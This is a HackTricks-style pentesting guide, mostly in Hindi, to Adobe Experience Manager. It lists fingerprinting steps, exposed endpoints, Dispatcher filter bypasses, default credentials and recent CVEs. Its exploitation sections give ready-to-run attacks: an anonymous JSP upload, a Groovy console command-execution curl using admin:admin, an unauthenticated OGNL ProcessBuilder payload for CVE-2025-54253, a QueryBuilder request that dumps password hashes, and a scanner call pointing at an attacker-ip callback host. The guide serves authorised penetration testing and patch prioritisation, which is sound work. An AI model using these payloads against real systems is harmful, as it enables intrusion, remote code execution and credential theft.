AEM (Adobe Experience Manager) Pentesting

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) एक एंटरप्राइज़ CMS है जो Apache Sling/Felix (OSGi) और Java Content Repository (JCR) के ऊपर चलती है। एक हमलावर के दृष्टिकोण से AEM इंस्टेंस अक्सर खतरनाक development endpoints, कमजोर Dispatcher rules, default credentials और उन CVEs की लंबी सूची उजागर करते हैं जिन्हें हर तिमाही पैच किया जाता है।

The checklist below focuses on externally reachable (unauth) attack surface that keeps showing up in real engagements (2022-2026).


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Other quick indicators:

  • /etc.clientlibs/ स्थिर पाथ मौजूद है (JS/CSS लौटाता है).
  • /libs/granite/core/content/login.html लॉगिन पेज जिस पर “Adobe Experience Manager” बैनर है.
  • </script><!--/* CQ */--> HTML के निचले हिस्से में टिप्पणी.

2. उच्च-मूल्य वाले बिना प्रमाणीकरण के एंडपॉइंट

Pathआपको क्या मिलता हैनोट्स
/.json, /.1.jsonJCR nodes via DefaultGetServletअक्सर ब्लॉक होते हैं, लेकिन Dispatcher bypass (नीचे देखें) काम करता है.
/bin/querybuilder.json?path=/QueryBuilder APIपेज ट्री, internal paths, user names का leak.
/system/console/status-*, /system/console/bundlesOSGi/Felix consoleडिफ़ॉल्ट रूप से 403; यदि एक्सपोज़्ड हो और creds मिलें ⇒ bundle-upload RCE.
/crx/packmgr/index.jspPackage Managerप्रमाणीकरण के बाद content packages की अनुमति देता है → JSP payload upload.
/etc/groovyconsole/**AEM Groovy Consoleयदि एक्सपोज़्ड हो → arbitrary Groovy / Java execution.
/libs/cq/AuditlogSearchServlet.jsonAudit logsजानकारी का खुलासा.
/libs/cq/ui/content/dumplibs.htmlClientLibs dumpXSS vector.
/adminui/debugAEM Forms on JEE Struts dev-mode OGNL evaluatorगलत कॉन्फ़िगर किए गए Forms इंस्टॉलेशन्स पर (CVE-2025-54253) यह एंडपॉइंट बिना प्रमाणीकरण वाले OGNL को execute कर देता है → RCE.

Dispatcher bypass tricks (2025/2026 में अभी भी काम कर रहे)

Most production sites sit behind the Dispatcher (reverse-proxy). Filter rules are frequently bypassed by abusing encoded characters or allowed static extensions.

Classic semicolon + allowed extension

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Encoded slash bypass (2025 KB ka-27832)

GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1

If the Dispatcher allows encoded slashes, this returns JSON even when /bin is supposedly denied.


3. सामान्य गलत कॉन्फ़िगरेशन (2026 में भी मौजूद)

  1. Anonymous POST servletPOST /.json with :operation=import आपको नए JCR नोड लगाने की अनुमति देता है। Dispatcher में *.json POST ब्लॉक करने से यह ठीक हो जाता है।
  2. World-readable user profiles – डिफ़ॉल्ट ACL सभी को /home/users/**/profile/* पर jcr:read देता है।
  3. Default credentialsadmin:admin, author:author, replication:replication.
  4. WCMDebugFilter enabled ⇒ ?debug=layout के माध्यम से reflected XSS (CVE-2016-7882, अभी भी legacy 6.4 इंस्टॉलेशन्स पर मिलता है)।
  5. Groovy Console exposed – एक Groovy स्क्रिप्ट भेजकर remote code execution:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
  1. Dispatcher encoded-slash gap – पाथ फिल्टर्स द्वारा ब्लॉक किए जाने पर भी %2f/%3B के साथ /bin/querybuilder.json और /etc/truststore.json तक पहुँच संभव है।
  2. AEM Forms Struts devMode left enabled/adminui/debug?expression= ऑथ के बिना OGNL को evaluate करता है (CVE-2025-54253) जिससे unauth RCE हो सकता है; Forms submission में जोड़ी गई XXE (CVE-2025-54254) फ़ाइल पढ़ने की अनुमति देता है।

4. हाल की कमजोरियाँ (service-pack cadence)

QuarterCVE / BulletinAffectedImpact
Dec 2025APSB25-115, CVE-2025-64537/645396.5.24 & earlier, Cloud 2025.12Multiple critical/stored XSS → author UI के माध्यम से code execution.
Sep 2025APSB25-906.5.23 & earlierSecurity feature bypass chain (Dispatcher auth checker) – 6.5.24/Cloud 2025.12 पर अपग्रेड करें।
Aug 2025CVE-2025-54253 / 54254 (AEM Forms JEE)Forms 6.5.23.0 and earlierDevMode OGNL RCE + XXE file read, बिना प्रमाणीकरण।
Jun 2025APSB25-486.5.23 & earlierStored XSS और Communities components में privilege escalation।
Dec 2024APSB24-69 (rev. Mar 2025 adds CVE-2024-53962…74)6.5.22 & earlierDOM/Stored XSS, arbitrary code exec (low-priv)।
Dec 2023APSB23-72≤ 6.5.18crafted URL के माध्यम से DOM-based XSS।

हमेशा ग्राहक के service-pack से मेल खाता हुआ APSB bulletin चेक करें और नवीनतम 6.5.24 (Nov 26, 2025) या Cloud Service 2025.12 के लिए दबाव डालें। AEM Forms on JEE के लिए इसका अपना add-on hotfix 6.5.0-0108+ आवश्यक है।


5. Exploitation snippets

5.1 RCE via dispatcher bypass + JSP upload

If anonymous write is possible:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

अब /content/evil.jsp का अनुरोध करें – यह JSP AEM process user के रूप में चलती है।

5.2 SSRF to RCE (ऐतिहासिक < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py जो aem-hacker से है, पूरी चेन को स्वचालित करता है।

5.3 AEM Forms JEE पर OGNL RCE (CVE-2025-54253)

# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"

यदि कमजोर है, तो HTTP body में command output होता है।

5.4 QueryBuilder hash disclosure (encoded slash bypass)

GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1

जब anonymous read ACLs डिफ़ॉल्ट हों, तो यह user nodes लौटाता है जिनमें rep:password hashes शामिल होते हैं।


6. टूलिंग

  • aem-hacker – Swiss-army enumeration script, dispatcher bypass, SSRF detection, default-creds checks और अन्य का समर्थन करता है.
python3 aem_hacker.py -u https://target --host attacker-ip
  • Tenable WAS plugin 115065 – QueryBuilder hash disclosure & encoded-slash bypass को स्वचालित रूप से पता लगाता है (published Dec 2025).
  • Content brute-force – recursively /_jcr_content.(json|html) को request करके hidden components की खोज करें.
  • osgi-infect – यदि creds उपलब्ध हों तो /system/console/bundles के माध्यम से malicious OSGi bundle upload करें.

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें